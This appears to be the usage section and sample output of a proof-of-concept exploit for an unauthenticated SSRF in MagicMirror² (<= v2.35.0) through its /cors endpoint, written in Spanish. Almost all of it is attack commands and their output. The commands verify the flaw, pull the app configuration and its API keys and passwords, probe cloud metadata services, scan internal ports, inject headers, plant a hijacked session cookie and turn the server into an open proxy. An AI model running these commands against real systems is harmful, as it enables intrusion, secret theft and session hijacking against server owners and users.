# 1. Verifica si el objetivo es vulnerable
python3 poc.py -t http://target:8080 --check

# 2. Exfiltra la configuración de la aplicación (con descubrimiento automático de secretos)
python3 poc.py -t http://target:8080 --config

# 3. Sondea los servicios de metadatos en la nube de más de 10 proveedores
python3 poc.py -t http://target:8080 --cloud

# 4. Escaneo de puertos en la red interna vía SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379

# 5. Demuestra el abuso de cabeceras entrantes/salientes
python3 poc.py -t http://target:8080 --headers

# 6. Usa el servidor como proxy abierto genérico
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api

$ python3 poc.py -t http://127.0.0.1:8080 --check

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗   ██████╗   █████╗   ██╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ╚════██╗  ╚════██╗  ██╔══██╗ ███║
██║     ██║   ██║█████╗   -2026- ███████║  █████╔╝   █████╔╝  ╚█████╔╝ ╚██║
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ██╔═══╝   ██╔═══╝   ██╔══██╗  ██║
╚██████╗ ╚████╔╝ ███████╗             ██║ ███████╗  ███████╗  ╚█████╔╝  ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝ ╚══════╝  ╚══════╝   ╚════╝   ╚═╝

  MagicMirror² <= v2.35.0 — SSRF sin autenticación vía endpoint /cors
  Autor: Astaruf | https://nstsec.com

  CHECK, Accesibilidad del objetivo y confirmación del SSRF
  [*] Verificando accesibilidad del objetivo ...
  [+] Objetivo accesible, MagicMirror 2.35.0
  [*] Confirmando SSRF vía loopback ...
      >> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
  [+] SSRF CONFIRMADO, el servidor obtuvo el recurso interno en nuestro nombre
      << 2.35.0

  EXFILTRACIÓN DE CONFIGURACIÓN, Configuración completa vía SSRF loopback
  [+] Configuración obtenida, 1194 bytes
  [*] address    : 0.0.0.0
  [*] port       : 8080
  [*] ipWhitelist: [] abierto a todas las IPs

  SECRETOS ENCONTRADOS:
    [weather]  apiKey                       = ow_demo_api_key_d34db33fc4f3b4b3
    [calendar] calendars[0].auth.pass       = S3cretCalendarPa$$word!
    [newsfeed] accessToken                  = sk-newsfeed-bearer-T0kEn-xyz789

  INYECCIÓN DE CABECERAS, Abuso de cabeceras salientes y entrantes
  [*] Parte A: inyectando cabeceras arbitrarias en peticiones salientes vía sendheaders
  [+] Cabecera X-Injected-By: SSRF-PoC confirmada en la petición saliente
  [+] Cabecera Authorization: Bearer DEMO_TOKEN confirmada en la petición saliente

  [*] Parte B: reenviando cabeceras de respuesta al navegador vía expectedheaders
  [+] Cabecera de respuesta Set-Cookie reenviada al navegador: session=hijacked;HttpOnly
  [+] El navegador recibe esta cookie como si se originara en el dominio de MagicMirror

  PROXY ABIERTO, Obteniendo https://httpbin.org/ip vía servidor vulnerable
  [+] HTTP 200, 32 bytes recibidos del servidor

{
  "origin": "<IP pública del servidor, no la del atacante>"
}